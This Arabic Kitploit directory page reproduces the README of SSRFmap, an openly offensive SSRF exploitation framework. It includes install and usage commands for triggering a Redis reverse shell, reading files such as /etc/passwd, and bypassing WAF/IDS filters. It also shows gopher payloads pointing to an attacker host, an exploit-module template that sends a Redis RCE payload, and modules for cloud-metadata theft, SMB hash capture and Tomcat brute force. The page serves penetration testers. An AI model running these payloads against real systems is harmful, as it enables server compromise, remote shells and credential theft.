Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SSRFmap — أداة آليّة لاختبار واستغلال SSRF | Kitploit
أدوات/GitHubGitHub/swisskyrepo/ssrfmap
تحليل الثغرات الأمنيةالاستغلالجمع المعلوماتأمن الويبالاختبار العشوائيCTFاختبار الاختراق
GitHubswisskyrepo/ssrfmap

SSRFmap

أداة آليّة لاختبار واستغلال SSRF

عرض المستودع
3.6k570منذ 11 أيامتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SSRFmap Python 3.4+ Rawsec's CyberSecurity Inventory

غالبًا ما تُستخدم SSRF للاستفادة من الإجراءات على الخدمات الأخرى، ويهدف هذا الإطار إلى العثور على هذه الخدمات واستغلالها بسهولة. يأخذ SSRFmap ملف طلب Burp كمدخل ومعلمة لاختبار الاختراق.

تزوير الطلب من جانب الخادم (SSRF) هو ثغرة أمنية يجبر فيها المهاجم الخادم على تنفيذ طلبات نيابة عنه.

ملخص

  • الوحدات
  • التثبيت والدليل
  • أمثلة
  • اختبارات SSRFmap
  • المساهمة
    • المساهمون

الوحدات

الوحدات التالية منفذة بالفعل ويمكن استخدامها مع الوسيط -m.

التثبيت والدليل

  • من مستودع Github.

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ cd SSRFmap/
    $ pip3 install -r requirements.txt
    $ python3 ssrfmap.py
    
      usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                        [-v [VERBOSE]] [--lhost LHOST] [--lport LPORT]
                        [--uagent USERAGENT] [--ssl [SSL]] [--level [LEVEL]]
    
      optional arguments:
        -h, --help          show this help message and exit
        -r REQFILE          SSRF Request file
        -p PARAM            SSRF Parameter to target
        -m MODULES          SSRF Modules to enable
        -l HANDLER          Start an handler for a reverse shell
        -v [VERBOSE]        Enable verbosity
        --lhost LHOST       LHOST reverse shell or IP to target in the network
        --lport LPORT       LPORT reverse shell or port to target in the network
        --uagent USERAGENT  User Agent to use
        --ssl [SSL]         Use HTTPS without verification
        --proxy PROXY       Use HTTP(s) proxy (ex: http://localhost:8080)
        --level [LEVEL]     Level of test to perform (1-5, default: 1)
    
  • دوكر

    root@kitploit:~
    $ git clone https://github.com/swisskyrepo/SSRFmap
    $ docker build --no-cache -t ssrfmap .
    $ docker run -it ssrfmap ssrfmap.py [OPTIONS] 
    $ docker run -it -v $(pwd):/usr/src/app ssrfmap ssrfmap.py
    

أمثلة

تحتاج أولاً إلى طلب مع معلمة لاختبار الاختراق، تعمل طلبات Burp بشكل جيد مع SSRFmap. يجب أن تبدو مثل المثال التالي. تتوفر أمثلة إضافية في مجلد ./examples.

root@kitploit:~
POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

استخدم -m متبوعًا باسم الوحدة (مفصولة بـ , إذا كنت ترغب في تشغيل عدة وحدات).

root@kitploit:~
# Launch a portscan on localhost and read default files
python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

إذا كنت ترغب في الحقن داخل ترويسة أو معلمة GET أو POST، فما عليك سوى تحديد اسم المعلمة

root@kitploit:~
python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

إذا كنت بحاجة إلى وكيل مستخدم مخصص، استخدم --uagent. قد تستخدم بعض الأهداف HTTPS، يمكنك تفعيلها باستخدام --ssl.

root@kitploit:~
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

تسمح لك بعض الوحدات بإنشاء اتصال عكسي، يجب عليك تحديد LHOST و LPORT. يمكن لـ SSRFmap أيضًا الاستماع للصدفة العكسية الواردة.

root@kitploit:~
# Triggering a reverse shell on a Redis
python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

عندما يكون الهدف محميًا بواسطة WAF أو بعض عوامل التصفية، يمكنك تجربة مجموعة واسعة من الحمولات والتشفير باستخدام المعلمة --level.

root@kitploit:~
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

اختبارات SSRFmap

طريقة سريعة لاختبار الإطار يمكن إجراؤها باستخدام خدمة SSRF data/example.py.

  • محليًا

    root@kitploit:~
    FLASK_APP=examples/example.py flask run &
    python ssrfmap.py -r examples/request.txt -p url -m readfiles
    
  • دوكر

    root@kitploit:~
    docker build --no-cache -t ssrfmap .
    
    # run example ssrf http service
    docker run -it -v "$(pwd)":/usr/src/app -p 5000:5000 ssrfmap examples/example.py
    
    # run example ssrf dns service
    docker exec -u root:root -it example python examples/ssrf_dns.py
    
    # run ssrfmap tool
    docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles
    

أطلق طلبات الاختبار:

root@kitploit:~
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request2.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request4.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request5.txt -p url -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /etc/issue
docker exec -it example python ssrfmap.py -r examples/request.txt -p url -m axfr
docker exec -it example python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

المساهمة

أحب طلبات السحب :) لا تتردد في إضافة أي ميزة مذكورة أدناه أو خدمة جديدة.

  • استغلال Redis PHP
  • وحدة HTTP (Jenkins ؟)
root@kitploit:~
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body

الكود التالي هو قالب إذا كنت ترغب في إضافة وحدة تتفاعل مع خدمة.

root@kitploit:~
from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)

يمكنك أيضًا المساهمة ببيرة شخصيًا أو عبر زر الراعي على Github.

شكر للمساهمين

مستوحى من

  • كيف ربطت 4 ثغرات في GitHub Enterprise، من سلسلة تنفيذ SSRF إلى RCE! - Orange Tsai
  • مدونة حول أداة Gopherus -SpyD3r
  • Gopherus - Github
  • اختبار SSRF - cujanovic
تنزيل الأداة
الاسمالوصف
axfrنقل مناطق DNS (AXFR)
fastcgiتنفيذ الأوامر عن بعد عبر FastCGI
redisتنفيذ الأوامر عن بعد عبر Redis
githubتنفيذ الأوامر عن بعد في Github Enterprise الإصدار < 2.8.7
zabbixتنفيذ الأوامر عن بعد في Zabbix
mysqlتنفيذ أوامر MySQL
postgresتنفيذ أوامر PostgreSQL
dockerتسريب معلومات Docker عبر API
smtpإرسال بريد عبر SMTP
portscanفحص أول 8000 منفذ للمضيف
networkscanمسح الشبكة باستخدام HTTP Ping
readfilesقراءة ملفات مثل /etc/passwd
alibabaقراءة ملفات من المزود (مثل: meta-data, user-data)
awsقراءة ملفات من المزود (مثل: meta-data, user-data)
gceقراءة ملفات من المزود (مثل: meta-data, user-data)
digitaloceanقراءة ملفات من المزود (مثل: meta-data, user-data)
socksproxyوكيل SOCKS4
smbhashإجبار مصادقة SMB عبر مسار UNC
tomcatهجوم تخمين ضد مدير Tomcat
customإرسال بيانات مخصصة إلى خدمة استماع، مثل: netcat
memcacheتخزين البيانات داخل مثيل memcache